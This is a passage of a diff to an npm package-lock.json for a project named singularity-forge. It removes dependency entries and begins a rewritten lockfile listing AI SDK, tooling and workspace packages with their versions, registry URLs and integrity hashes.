"@vitest/browser-playwright": "4.1.5", - "@vitest/browser-preview": "4.1.5", - "@vitest/browser-webdriverio": "4.1.5", - "@vitest/coverage-istanbul": "4.1.5", - "@vitest/coverage-v8": "4.1.5", - "@vitest/ui": "4.1.5", - "happy-dom": "*", - "jsdom": "*", - "vite": "^6.0.0 || ^7.0.0 || ^8.0.0" - }, - "peerDependenciesMeta": { - "@edge-runtime/vm": { - "optional": true - }, - "@opentelemetry/api": { - "optional": true - }, - "@types/node": { - "optional": true - }, - "@vitest/browser-playwright": { - "optional": true - }, - "@vitest/browser-preview": { - "optional": true - }, - "@vitest/browser-webdriverio": { - "optional": true - }, - "@vitest/coverage-istanbul": { - "optional": true - }, - "@vitest/coverage-v8": { - "optional": true - }, - "@vitest/ui": { - "optional": true - }, - "happy-dom": { - "optional": true - }, - "jsdom": { - "optional": true - }, - "vite": { - "optional": false - } - } - }, - "node_modules/vitest/node_modules/std-env": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/std-env/-/std-env-4.1.0.tgz", - "integrity": "sha512-Rq7ybcX2RuC55r9oaPVEW7/xu3tj8u4GeBYHBWCychFtzMIr86A7e3PPEBPT37sHStKX3+TiX/Fr/ACmJLVlLQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/void-elements": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/void-elements/-/void-elements-3.1.0.tgz", - "integrity": "sha512-Dhxzh5HZuiHQhbvTW9AMetFfBHDMYpo23Uo9btPXgdYP+3T5S+p+jgNy7spra+veYhBP2dCSgxR/i2Y02h5/6w==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/walkdir": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/walkdir/-/walkdir-0.4.1.tgz", - "integrity": "sha512-3eBwRyEln6E1MSzcxcVpQIhRG8Q1jLvEqRmCZqS3dsfXEDR/AhOF4d+jHg1qvDCpYaVRZjENPQyrVxAkQqxPgQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/wcwidth": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/wcwidth/-/wcwidth-1.0.1.tgz", - "integrity": "sha512-XHPEwS0q6TaxcvG85+8EYkbiCux2XtWG2mkc47Ng2A77BQu9+DqIOJldST4HgPkuea7dvKSj5VgX3P1d4rW8Tg==", - "dev": true, - "license": "MIT", - "dependencies": { - "defaults": "^1.0.3" - } - }, - "node_modules/web-streams-polyfill": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-3.3.3.tgz", - "integrity": "sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw==", - "license": "MIT", - "engines": { - "node": ">= 8" - } - }, - "node_modules/web-tree-sitter": { - "version": "0.25.10", - "resolved": "https://registry.npmjs.org/web-tree-sitter/-/web-tree-sitter-0.25.10.tgz", - "integrity": "sha512-Y09sF44/13XvgVKgO2cNDw5rGk6s26MgoZPXLESvMXeefBf7i6/73eFurre0IsTW6E14Y0ArIzhUMmjoc7xyzA==", - "license": "MIT", - "peerDependencies": { - "@types/emscripten": "^1.40.0" - }, - "peerDependenciesMeta": { - "@types/emscripten": { - "optional": true - } - } - }, - "node_modules/webdriver-bidi-protocol": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/webdriver-bidi-protocol/-/webdriver-bidi-protocol-0.4.1.tgz", - "integrity": "sha512-ARrjNjtWRRs2w4Tk7nqrf2gBI0QXWuOmMCx2hU+1jUt6d00MjMxURrhxhGbrsoiZKJrhTSTzbIrc554iKI10qw==", - "license": "Apache-2.0" - }, - "node_modules/webidl-conversions": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz", - "integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==", - "license": "BSD-2-Clause" - }, - "node_modules/whatwg-url": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz", - "integrity": "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==", - "license": "MIT", - "dependencies": { - "tr46": "~0.0.3", - "webidl-conversions": "^3.0.0" - } - }, - "node_modules/which": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - "license": "ISC", - "dependencies": { - "isexe": "^2.0.0" - }, - "bin": { - "node-which": "bin/node-which" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/why-is-node-running": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz", - "integrity": "sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==", - "dev": true, - "license": "MIT", - "dependencies": { - "siginfo": "^2.0.0", - "stackback": "0.0.2" - }, - "bin": { - "why-is-node-running": "cli.js" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/with": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/with/-/with-7.0.2.tgz", - "integrity": "sha512-RNGKj82nUPg3g5ygxkQl0R937xLyho1J24ItRCBTr/m1YnZkzJy1hUiHUJrc/VlsDQzsCnInEGSg3bci0Lmd4w==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/parser": "^7.9.6", - "@babel/types": "^7.9.6", - "assert-never": "^1.2.1", - "babel-walk": "3.0.0-canary-5" - }, - "engines": { - "node": ">= 10.0.0" - } - }, - "node_modules/wrap-ansi": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", - "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", - "license": "MIT", - "dependencies": { - "ansi-styles": "^4.0.0", - "string-width": "^4.1.0", - "strip-ansi": "^6.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/wrap-ansi?sponsor=1" - } - }, - "node_modules/wrap-ansi-cjs": { - "name": "wrap-ansi", - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", - "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", - "license": "MIT", - "dependencies": { - "ansi-styles": "^4.0.0", - "string-width": "^4.1.0", - "strip-ansi": "^6.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/wrap-ansi?sponsor=1" - } - }, - "node_modules/wrap-ansi-cjs/node_modules/ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/wrap-ansi-cjs/node_modules/strip-ansi": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "license": "MIT", - "dependencies": { - "ansi-regex": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/wrap-ansi/node_modules/ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/wrap-ansi/node_modules/strip-ansi": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "license": "MIT", - "dependencies": { - "ansi-regex": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/wrappy": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", - "license": "ISC" - }, - "node_modules/ws": { - "version": "8.19.0", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.19.0.tgz", - "integrity": "sha512-blAT2mjOEIi0ZzruJfIhb3nps74PRWTCz1IjglWEEpQl5XS/UNama6u2/rjFkDDouqr4L67ry+1aGIALViWjDg==", - "license": "MIT", - "engines": { - "node": ">=10.0.0" - }, - "peerDependencies": { - "bufferutil": "^4.0.1", - "utf-8-validate": ">=5.0.2" - }, - "peerDependenciesMeta": { - "bufferutil": { - "optional": true - }, - "utf-8-validate": { - "optional": true - } - } - }, - "node_modules/wsl-utils": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/wsl-utils/-/wsl-utils-0.1.0.tgz", - "integrity": "sha512-h3Fbisa2nKGPxCpm89Hk33lBLsnaGBvctQopaBSOW/uIs6FTe1ATyAnKFJrzVs9vpGdsTe73WF3V4lIsk4Gacw==", - "license": "MIT", - "dependencies": { - "is-wsl": "^3.1.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/xml-naming": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/xml-naming/-/xml-naming-0.1.0.tgz", - "integrity": "sha512-k8KO9hrMyNk6tUWqUfkTEZbezRRpONVOzUTnc97VnCvyj6Tf9lyUR9EDAIeiVLv56jsMcoXEwjW8Kv5yPY52lw==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT", - "engines": { - "node": ">=16.0.0" - } - }, - "node_modules/y18n": { - "version": "5.0.8", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", - "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", - "license": "ISC", - "engines": { - "node": ">=10" - } - }, - "node_modules/yaml": { - "version": "2.8.4", - "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.8.4.tgz", - "integrity": "sha512-ml/JPOj9fOQK8RNnWojA67GbZ0ApXAUlN2UQclwv2eVgTgn7O9gg9o7paZWKMp4g0H3nTLtS9LVzhkpOFIKzog==", - "license": "ISC", - "bin": { - "yaml": "bin.mjs" - }, - "engines": { - "node": ">= 14.6" - }, - "funding": { - "url": "https://github.com/sponsors/eemeli" - } - }, - "node_modules/yargs": { - "version": "17.7.2", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", - "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", - "license": "MIT", - "dependencies": { - "cliui": "^8.0.1", - "escalade": "^3.1.1", - "get-caller-file": "^2.0.5", - "require-directory": "^2.1.1", - "string-width": "^4.2.3", - "y18n": "^5.0.5", - "yargs-parser": "^21.1.1" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/yargs-parser": { - "version": "21.1.1", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", - "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/yauzl": { - "version": "2.10.0", - "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", - "integrity": "sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g==", - "license": "MIT", - "dependencies": { - "buffer-crc32": "~0.2.3", - "fd-slicer": "~1.1.0" - } - }, - "node_modules/yoctocolors": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/yoctocolors/-/yoctocolors-2.1.2.tgz", - "integrity": "sha512-CzhO+pFNo8ajLM2d2IW/R93ipy99LWjtwblvC1RsoSUMZgyLbYFr221TnSNT7GjGdYui6P459mw9JH/g/zW2ug==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/zod": { - "version": "4.4.3", - "resolved": "https://registry.npmjs.org/zod/-/zod-4.4.3.tgz", - "integrity": "sha512-ytENFjIJFl2UwYglde2jchW2Hwm4GJFLDiSXWdTrJQBIN9Fcyp7n4DhxJEiWNAJMV1/BqWfW/kkg71UDcHJyTQ==", - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/colinhacks" - } - }, - "node_modules/zod-to-json-schema": { - "version": "3.25.2", - "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.25.2.tgz", - "integrity": "sha512-O/PgfnpT1xKSDeQYSCfRI5Gy3hPf91mKVDuYLUHZJMiDFptvP41MSnWofm8dnCm0256ZNfZIM7DSzuSMAFnjHA==", - "license": "ISC", - "peerDependencies": { - "zod": "^3.25.28 || ^4" - } - }, - "packages/daemon": { - "name": "@singularity-forge/daemon", - "version": "2.75.3", - "license": "MIT", - "dependencies": { - "@anthropic-ai/sdk": "^0.95.1", - "@singularity-forge/rpc-client": "^2.75.3", - "discord.js": "^14.25.1", - "yaml": "^2.8.0", - "zod": "^4.4.3" - }, - "bin": { - "sf-daemon": "dist/cli.js", - "sf-server": "dist/cli.js" - }, - "devDependencies": { - "@types/node": "^25.6.2", - "typescript": "^6.0.3" - }, - "engines": { - "node": ">=26.1.0" - } - }, - "packages/google-gemini-cli-provider": { - "name": "@singularity-forge/google-gemini-cli-provider", - "version": "2.75.3", - "dependencies": { - "@google/gemini-cli-core": "0.41.2" - }, - "engines": { - "node": ">=26.1.0" - } - }, - "packages/native": { - "name": "@singularity-forge/native", - "version": "2.75.3", - "license": "MIT", - "engines": { - "node": ">=26.1.0" - }, - "optionalDependencies": { - "@singularity-forge/engine-darwin-arm64": ">=2.75.0", - "@singularity-forge/engine-darwin-x64": ">=2.75.0", - "@singularity-forge/engine-linux-arm64-gnu": ">=2.75.0", - "@singularity-forge/engine-linux-x64-gnu": ">=2.75.0", - "@singularity-forge/engine-win32-x64-msvc": ">=2.75.0" - } - }, - "packages/pi-agent-core": { - "name": "@singularity-forge/pi-agent-core", - "version": "2.75.3", - "engines": { - "node": ">=26.1.0" - } - }, - "packages/pi-ai": { - "name": "@singularity-forge/pi-ai", - "version": "2.75.3", - "dependencies": { - "@anthropic-ai/sdk": "^0.95.1", - "@anthropic-ai/vertex-sdk": "^0.16.0", - "@aws-sdk/client-bedrock-runtime": "^3.1045.0", - "@google/gemini-cli-core": "^0.41.2", - "@google/genai": "^2.0.1", - "@mistralai/mistralai": "^2.2.1", - "@sinclair/typebox": "^0.34.49", - "@singularity-forge/google-gemini-cli-provider": "^2.75.3", - "ajv": "^8.20.0", - "ajv-formats": "^3.0.1", - "chalk": "^5.6.2", - "jsonrepair": "^3.14.0", - "openai": "^6.37.0", - "proxy-agent": "^8.0.1", - "undici": "^8.2.0", - "yaml": "^2.8.3", - "zod-to-json-schema": "^3.24.6" - }, - "devDependencies": { - "@smithy/node-http-handler": "^4.5.0" - }, - "engines": { - "node": ">=26.1.0" - } - }, - "packages/pi-ai/node_modules/@anthropic-ai/vertex-sdk": { - "version": "0.16.0", - "resolved": "https://registry.npmjs.org/@anthropic-ai/vertex-sdk/-/vertex-sdk-0.16.0.tgz", - "integrity": "sha512-ntxemtRkwPsjVzGQJsmBPRW38tfas6VuVlD1v6pHffDJKLPtCdaiN9KUQeraJ/F34tjxEWlsaCnl3t/orJm1Xw==", - "license": "MIT", - "dependencies": { - "@anthropic-ai/sdk": ">=0.50.3 <1", - "google-auth-library": "^9.4.2" - } - }, - "packages/pi-ai/node_modules/gaxios": { - "version": "6.7.1", - "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", - "integrity": "sha512-LDODD4TMYx7XXdpwxAVRAIAuB0bzv0s+ywFonY46k126qzQHT9ygyoa9tncmOiQmmDrik65UYsEkv3lbfqQ3yQ==", - "license": "Apache-2.0", - "dependencies": { - "extend": "^3.0.2", - "https-proxy-agent": "^7.0.1", - "is-stream": "^2.0.0", - "node-fetch": "^2.6.9", - "uuid": "^9.0.1" - }, - "engines": { - "node": ">=14" - } - }, - "packages/pi-ai/node_modules/gcp-metadata": { - "version": "6.1.1", - "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-6.1.1.tgz", - "integrity": "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A==", - "license": "Apache-2.0", - "dependencies": { - "gaxios": "^6.1.1", - "google-logging-utils": "^0.0.2", - "json-bigint": "^1.0.0" - }, - "engines": { - "node": ">=14" - } - }, - "packages/pi-ai/node_modules/google-auth-library": { - "version": "9.15.1", - "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-9.15.1.tgz", - "integrity": "sha512-Jb6Z0+nvECVz+2lzSMt9u98UsoakXxA2HGHMCxh+so3n90XgYWkq5dur19JAJV7ONiJY22yBTyJB1TSkvPq9Ng==", - "license": "Apache-2.0", - "dependencies": { - "base64-js": "^1.3.0", - "ecdsa-sig-formatter": "^1.0.11", - "gaxios": "^6.1.1", - "gcp-metadata": "^6.1.0", - "gtoken": "^7.0.0", - "jws": "^4.0.0" - }, - "engines": { - "node": ">=14" - } - }, - "packages/pi-ai/node_modules/google-logging-utils": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-0.0.2.tgz", - "integrity": "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" - } - }, - "packages/pi-ai/node_modules/node-fetch": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", - "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", - "license": "MIT", - "dependencies": { - "whatwg-url": "^5.0.0" - }, - "engines": { - "node": "4.x || >=6.0.0" - }, - "peerDependencies": { - "encoding": "^0.1.0" - }, - "peerDependenciesMeta": { - "encoding": { - "optional": true - } - } - }, - "packages/pi-coding-agent": { - "name": "@singularity-forge/pi-coding-agent", - "version": "2.75.3", - "dependencies": { - "@mariozechner/jiti": "^2.6.2", - "@silvia-odwyer/photon-node": "^0.3.4", - "chalk": "^5.5.0", - "diff": "^9.0.0", - "express": "^5.2.1", - "extract-zip": "^2.0.1", - "file-type": "^21.3.4", - "hosted-git-info": "^9.0.3", - "ignore": "^7.0.5", - "marked": "^18.0.3", - "minimatch": "^10.2.5", - "proper-lockfile": "^4.1.2", - "strip-ansi": "^7.2.0", - "undici": "^8.2.0", - "yaml": "^2.8.4" - }, - "devDependencies": { - "@types/diff": "^7.0.2", - "@types/express": "^4.17.21", - "@types/hosted-git-info": "^3.0.5", - "@types/proper-lockfile": "^4.1.4" - }, - "engines": { - "node": ">=26.1.0" - } - }, - "packages/pi-tui": { - "name": "@singularity-forge/pi-tui", - "version": "2.75.3", - "dependencies": { - "chalk": "^5.6.2", - "get-east-asian-width": "^1.3.0", - "marked": "^18.0.3", - "mime-types": "^3.0.1" - }, - "devDependencies": { - "@types/mime-types": "^2.1.4" - }, - "engines": { - "node": ">=26.1.0" - }, - "optionalDependencies": { - "koffi": "^2.9.0" - } - }, - "packages/rpc-client": { - "name": "@singularity-forge/rpc-client", - "version": "2.75.3", - "license": "MIT", - "engines": { - "node": ">=26.1.0" - } - } - } + "name": "singularity-forge", + "version": "2.75.3", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "singularity-forge", + "version": "2.75.3", + "hasInstallScript": true, + "license": "MIT", + "workspaces": [ + "packages/*" + ], + "dependencies": { + "@anthropic-ai/sdk": "^0.95.1", + "@anthropic-ai/vertex-sdk": "^0.14.4", + "@aws-sdk/client-bedrock-runtime": "^3.983.0", + "@clack/prompts": "^1.3.0", + "@google/gemini-cli-core": "^0.41.2", + "@google/genai": "^2.0.0", + "@logtape/file": "^2.0.7", + "@logtape/logtape": "^2.0.7", + "@logtape/pretty": "^2.0.7", + "@logtape/redaction": "^2.0.7", + "@mariozechner/jiti": "^2.6.2", + "@mistralai/mistralai": "^2.2.1", + "@modelcontextprotocol/sdk": "^1.29.0", + "@octokit/rest": "^22.0.1", + "@silvia-odwyer/photon-node": "^0.3.4", + "@sinclair/typebox": "^0.34.49", + "@smithy/node-http-handler": "^4.7.0", + "@types/mime-types": "^2.1.4", + "ajv": "^8.20.0", + "ajv-formats": "^3.0.1", + "chalk": "^5.6.2", + "chokidar": "^5.0.0", + "diff": "^9.0.0", + "discord.js": "^14.26.4", + "extract-zip": "^2.0.1", + "fast-check": "^4.7.0", + "file-type": "^21.1.1", + "get-east-asian-width": "^1.6.0", + "hosted-git-info": "^9.0.2", + "ignore": "^7.0.5", + "jsonrepair": "^3.14.0", + "markdownlint": "^0.40.0", + "marked": "^18.0.3", + "mime-types": "^3.0.1", + "minimatch": "^10.2.5", + "openai": "^6.37.0", + "picomatch": "^4.0.3", + "playwright": "^1.59.1", + "proper-lockfile": "^4.1.2", + "proxy-agent": "^8.0.1", + "remark-parse": "^11.0.0", + "sharp": "^0.34.5", + "shell-quote": "^1.8.3", + "strip-ansi": "^7.1.0", + "undici": "^8.2.0", + "unified": "^11.0.5", + "unist-util-visit": "^5.1.0", + "yaml": "^2.8.4", + "zod": "^4.4.3", + "zod-to-json-schema": "^3.25.2" + }, + "bin": { + "sf": "dist/loader.js", + "sf-cli": "dist/loader.js", + "sf-daemon": "packages/daemon/dist/cli.js", + "sf-server": "packages/daemon/dist/cli.js" + }, + "devDependencies": { + "@biomejs/biome": "^2.4.14", + "@types/node": "^25.6.2", + "@types/picomatch": "^4.0.3", + "@types/shell-quote": "^1.7.5", + "@vitest/coverage-v8": "^4.1.5", + "esbuild": "^0.27.7", + "jiti": "^2.7.0", + "jscpd": "^4.0.9", + "madge": "^8.0.0", + "typescript": "^6.0.3", + "typescript-language-server": "^5.1.3", + "vitest": "^4.1.5" + }, + "engines": { + "node": ">=26.1.0" + }, + "optionalDependencies": { + "@anthropic-ai/claude-agent-sdk": "^0.2.137", + "@singularity-forge/engine-darwin-arm64": ">=2.10.2", + "@singularity-forge/engine-darwin-x64": ">=2.10.2", + "@singularity-forge/engine-linux-arm64-gnu": ">=2.10.2", + "@singularity-forge/engine-linux-x64-gnu": ">=2.10.2", + "@singularity-forge/engine-win32-x64-msvc": ">=2.10.2", + "fsevents": "~2.3.3", + "koffi": "^2.16.2", + "vectordrive": "^0.1.35" + } + }, + "node_modules/@a2a-js/sdk": { + "version": "0.3.11", + "resolved": "https://registry.npmjs.org/@a2a-js/sdk/-/sdk-0.3.11.tgz", + "integrity": "sha512-pXjjlL0ZYHgAxObov1J+W3ylfQV0rOrDBB8Eo4a9eCunqs7iNW5OIfMcV8YnZQdzeVSRomj8jHeudVz0zc4RNw==", + "license": "Apache-2.0", + "dependencies": { + "uuid": "^11.1.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@bufbuild/protobuf": "^2.10.2", + "@grpc/grpc-js": "^1.11.0", + "express": "^4.21.2 || ^5.1.0" + }, + "peerDependenciesMeta": { + "@bufbuild/protobuf": { + "optional": true + }, + "@grpc/grpc-js": { + "optional": true + }, + "express": { + "optional": true + } + } + }, + "node_modules/@a2a-js/sdk/node_modules/uuid": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-11.1.0.tgz", + "integrity": "sha512-0/A9rDy9P7cJ+8w1c9WD9V//9Wj15Ce2MPz8Ri6032usz+NfePxx5AcN3bN+r6ZL6jEo066/yNYB3tn4pQEx+A==", + "funding": [ + "https://github.com/sponsors/broofa", + "https://github.com/sponsors/ctavan" + ], + "license": "MIT", + "bin": { + "uuid": "dist/esm/bin/uuid" + } + }, + "node_modules/@anthropic-ai/claude-agent-sdk": { + "version": "0.2.137", + "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk/-/claude-agent-sdk-0.2.137.tgz", + "integrity": "sha512-2/XBssNqvyG10zDJZPsucCFr422e1KZDK5AQggxG5T6MKxi//ga27E2wqbqm09rLmu9p3EVJyZwdluNdpZNLrA==", + "license": "SEE LICENSE IN README.md", + "optional": true, + "dependencies": { + "@anthropic-ai/sdk": "^0.81.0", + "@modelcontextprotocol/sdk": "^1.29.0" + }, + "engines": { + "node": ">=18.0.0" + }, + "optionalDependencies": { + "@anthropic-ai/claude-agent-sdk-darwin-arm64": "0.2.137", + "@anthropic-ai/claude-agent-sdk-darwin-x64": "0.2.137", + "@anthropic-ai/claude-agent-sdk-linux-arm64": "0.2.137", + "@anthropic-ai/claude-agent-sdk-linux-arm64-musl": "0.2.137", + "@anthropic-ai/claude-agent-sdk-linux-x64": "0.2.137", + "@anthropic-ai/claude-agent-sdk-linux-x64-musl": "0.2.137", + "@anthropic-ai/claude-agent-sdk-win32-arm64": "0.2.137", + "@anthropic-ai/claude-agent-sdk-win32-x64": "0.2.137" + }, + "peerDependencies": { + "zod": "^4.0.0" + } + }, + "node_modules/@anthropic-ai/claude-agent-sdk-darwin-arm64": { + "version": "0.2.137", + "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-darwin-arm64/-/claude-agent-sdk-darwin-arm64-0.2.137.tgz", + "integrity": "sha512-tvotO8dGDA7LN8NjLbTfS0MbLxQ5dkW559+VwFyqLW1gapATYmwPC7sVQSQv5DvWCQQyMMo1RylRQfOexi+/ig==", + "cpu": [ + "arm64" + ], + "license": "SEE LICENSE IN LICENSE.md", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@anthropic-ai/claude-agent-sdk-darwin-x64": { + "version": "0.2.137", + "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-darwin-x64/-/claude-agent-sdk-darwin-x64-0.2.137.tgz", + "integrity": "sha512-cXZ48AYcETEpsxWKrHK0efMP90gT0hTNUU1cnSNi8mGYTT4L29YFCw/jJPAtMiDSuHJK49HjbSygzimNvzMuEw==", + "cpu": [ + "x64" + ], + "license": "SEE LICENSE IN LICENSE.md", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@anthropic-ai/claude-agent-sdk-linux-arm64": { + "version": "0.2.137", + "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-arm64/-/claude-agent-sdk-linux-arm64-0.2.137.tgz", + "integrity": "sha512-r46jzSDXl08DUWDdg6fBN5OtTyRAdKS9OoCiJA99e+ChbKfGiaSUgVVNM0rmPs42vCPGpxCne0gnm70JKadd7A==", + "cpu": [ + "arm64" + ], + "libc": [ + "glibc" + ], + "license": "SEE LICENSE IN LICENSE.md", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@anthropic-ai/claude-agent-sdk-linux-arm64-musl": { + "version": "0.2.137", + "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-arm64-musl/-/claude-agent-sdk-linux-arm64-musl-0.2.137.tgz", + "integrity": "sha512-FkW7vRRDXHguEkWjhQlXkz8cBaTOM/XLqH5FR/eb7E56H/hCtVd4gH3FCfeGE0xfGkEYIl1OavUCV7+tO8tYiQ==", + "cpu": [ + "arm64" + ], + "libc": [ + "musl" + ], + "license": "SEE LICENSE IN LICENSE.md", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@anthropic-ai/claude-agent-sdk-linux-x64": { + "version": "0.2.137", + "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-x64/-/claude-agent-sdk-linux-x64-0.2.137.tgz", + "integrity": "sha512-ZlHRqA/f+51ahuPUF+a+F4DjeeIy9zMtaYyWRiOgM0Oa6jgAeep1+D7OqxpbqO+loEhVZcJm5aXrZsIYEBmncg==", + "cpu": [ + "x64" + ], + "libc": [ + "glibc" + ], + "license": "SEE 